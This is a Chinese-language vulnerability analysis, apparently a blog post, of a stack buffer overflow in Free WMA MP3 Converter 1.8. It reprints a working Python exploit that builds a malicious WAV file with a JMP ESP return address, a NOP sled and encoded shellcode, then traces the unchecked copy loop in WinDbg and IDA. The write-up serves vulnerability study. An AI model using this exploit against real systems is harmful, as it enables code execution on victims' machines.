Free WMA MP3 Converter 1.8缓冲区溢出漏洞

作者:k0shl 转载请注明出处

漏洞说明


软件下载地址:
https://www.exploit-db.com/apps/21fdca9b7d302479e989b9d062a276df-FWMCSetup.exe

PoC:

#!/usr/bin/env python
# Free WMA MP3 Converter 1.8 Buffer Overflow 
# Version:1.8 Build 20140226 
# Author:metacom    
# Date:10.23.2014
# Download:http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
# Tested on:Win7-En 32bit - Win8.1-DE 64bit
import struct
def little_endian(address):
  return struct.pack("<L",address)
poc="\x41" * 4112
eip=little_endian(0x0045CD1A)#0045CD1A   FFE4  JMP ESP
nops="\x90" * 80
shellcode=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38"
"\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf"
"\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49"
"\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c"
"\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda"
"\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46"
"\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66"
"\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42"
"\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6"
"\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35"
"\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b"
"\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2"
"\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52"
"\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55"
"\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b"
"\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37"
"\x8b\x15\x7b\xd2\x2b\xbf\x83")
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"

调试环境:
Windows xp sp3
Windbg
IDA pro

利用PoC生成一个wav的文件,之后打开Free WMA MP3 Converter,这是一个视频转换工具,打开之后打开wav,引发崩溃。


漏洞分析


此漏洞发生在FWMCon.exe的sub_4B0FF4函数由于转换文件格式时,复制音频文件时对音频文件的长度没有进行有效检查,从而导致了缓冲区溢出的发生,下面对这漏洞进行详细分析
为了能够在漏洞触发时看到漏洞现场的情况,需要修改Exploit为Poc,修改后的代码如下

import struct
def little_endian(address):
  return struct.pack("<L",address)
poc="\x41" * 4112
eip="\x41" * 4
nops="\x41" * 80
shellcode="\x41"*100
exploit = poc + eip + nops + shellcode
try:
    rst= open("bof_WMA MP3 Converter.wav",'w')
    rst.write(exploit)
    rst.close()
except:
print "Error"

用Windbg附加该程序,执行漏洞wav,到达案发现场

(d0.4a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
eip=41414141 esp=01e5fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 jQuery21409358425873797387_1445617234967              ???

查看一下堆栈调用情况

0:005> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
01e5fee4 41414141 41414141 41414141 41414141 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Free WMA MP3 Converter\Wmpcon.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Free WMA MP3 Converter\Wmpcon.exe
01e5ffa0 00404172 01e5ffdc 00403cc8 01e5ffb4 0x41414141
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
01e5ffb4 7c80b713 00ba83cc 00000000 e7ffffff Wmpcon+0x4172
01e5ffec 00000000 00404148 00ba83cc 00000000 kernel32!GetModuleFileNameA+0x1b4

可以看到上一次函数调用地址00404172的位置,执行了Wmpcon+0x4172位置的代码,那么我们来看看漏洞触发前到底发生了什么。我们在00404172上一个位置00404170下断点

00404158 648b11          mov     edx,dword ptr fs:[ecx]
0040415b 52              push    edx
0040415c 648921          mov     dword ptr fs:[ecx],esp
0040415f 8b4508          mov     eax,dword ptr [ebp+8]
00404162 8b4804          mov     ecx,dword ptr [eax+4]
00404165 8b10            mov     edx,dword ptr [eax]
00404167 51              push    ecx
00404168 52              push    edx
00404169 e852e6ffff      call    Wmpcon+0x27c0 (004027c0)
0040416e 5a              pop     edx
0040416f 58              pop     eax
00404170 ffd2            call    edx
00404172 31d2            xor     edx,edx

到达00404170位置之后,单步执行,果然触发了漏洞

Breakpoint 0 hit
eax=00bb74b0 ebx=00ba83cc ecx=00000000 edx=00421a38 esi=e7ffffff edi=00000000
eip=00404170 esp=01e5ffa8 ebp=01e5ffb4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Wmpcon+0x4170:
00404170 ffd2            call    edx {Wmpcon+0x21a38 (00421a38)}
0:005> p
(110.394): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=000010c8 edx=000010c8 esi=41414141 edi=41414141
eip=41414141 esp=01e5fee8 ebp=41414141 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

问题出在edx对应地址对应的函数中,重新附加,单步跟入这个函数

00421a38 55              push    ebp
00421a39 8bec            mov     ebp,esp
00421a3b 51              push    ecx
00421a3c 53              push    ebx
00421a3d 56              push    esi
00421a3e 57              push    edi
00421a3f 8945fc          mov     dword ptr [ebp-4],eax
00421a42 33c0            xor     eax,eax
00421a44 55              push    ebp
00421a45 68ce1a4200      push    offset Wmpcon+0x21ace (00421ace)
00421a4a 64ff30          push    dword ptr fs:[eax]
00421a4d 648920          mov     dword ptr fs:[eax],esp
00421a50 8b45fc          mov     eax,dword ptr [ebp-4]
00421a53 80780d00        cmp     byte ptr [eax+0Dh],0
00421a57 7535            jne     Wmpcon+0x21a8e (00421a8e)
00421a59 33c0            xor     eax,eax
00421a5b 55              push    ebp
00421a5c 68791a4200      push    offset Wmpcon+0x21a79 (00421a79)
00421a61 64ff30          push    dword ptr fs:[eax]
00421a64 648920          mov     dword ptr fs:[eax],esp
00421a67 8b45fc          mov     eax,dword ptr [ebp-4]
00421a6a 8b10            mov     edx,dword ptr [eax]
00421a6c ff5204          call    dword ptr [edx+4]
00421a6f 33c0            xor     eax,eax

我们通过这个方法,不断跟进函数,一直跟到004b102f的位置,其实这里是一处循环拷贝的过程,此过程的起始部分和结束部分如下。

loc_4B102F:
mov     eax, edi
cmp     eax, 4          ; switch 5 cases
ja      loc_4B14B9      ; default

loc_4B14E3:
cmp     ebx, 2000h
jl      loc_4B102F

我们可以通过esp看到拷贝字节的过程,当第N轮循环结束时

0:005> dd esp
0190eec0  000010c8 00000000 00000000 00000000
0190eed0  00000000 41414141 41414141 41414141
0190eee0  00004141 00000000 00000000 00000000
0190eef0  00000000 00000000 00000000 00000000
0190ef00  00000000 00000000 00000000 00000000
0190ef10  00000000 00000000 00000000 00000000
0190ef20  00000000 00000000 00000000 00000000
0190ef30  00000000 00000000 00000000 00000000

当第N+1轮循环结束时

0:005> dd esp
0190eec0  000010c8 00000000 00000000 00000000
0190eed0  00000000 41414141 41414141 41414141
0190eee0  00414141 00000000 00000000 00000000
0190eef0  00000000 00000000 00000000 00000000
0190ef00  00000000 00000000 00000000 00000000
0190ef10  00000000 00000000 00000000 00000000
0190ef20  00000000 00000000 00000000 00000000
0190ef30  00000000 00000000 00000000 00000000

可以看到已经将41的字节拷入栈中,我们在004b14e9处下断点,并观察寄存器状况
可以看到ebx存放的是字符串位置,那么我们根据POC中\x41的长度,4112+4+80+100,再转换为十六进制,算出长度后下一个条件断点

0:005> bp 004b14e9 ".if(ebx==10c4){;}.else{g;}"
breakpoint 0 redefined

现在查看内存空间的情况

0190eec8 00 00 00 00 00 00 00 00 00 00 00 00 41  ............A
0190eed5 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190eee2 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190eeef 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190eefc 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef09 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef16 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef23 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef30 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef3d 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef4a 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef57 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef64 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef71 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef7e 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef8b 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190ef98 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190efa5 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190efb2 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190efbf 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190efcc 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190efd9 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190efe6 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190eff3 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190f000 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190f00d 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190f01a 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA
0190f027 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAA

可以看到此时内存空间中的状况已经被覆盖了,因为对传入字符串没有做长度检查,问题出在

__int16 __usercall sub_4B0FF4<ax>(int a1<eax>, int a2, int a3)

最后返回时到达漏洞触发现场,导致了缓冲区溢出的发生

Comments
Write a Comment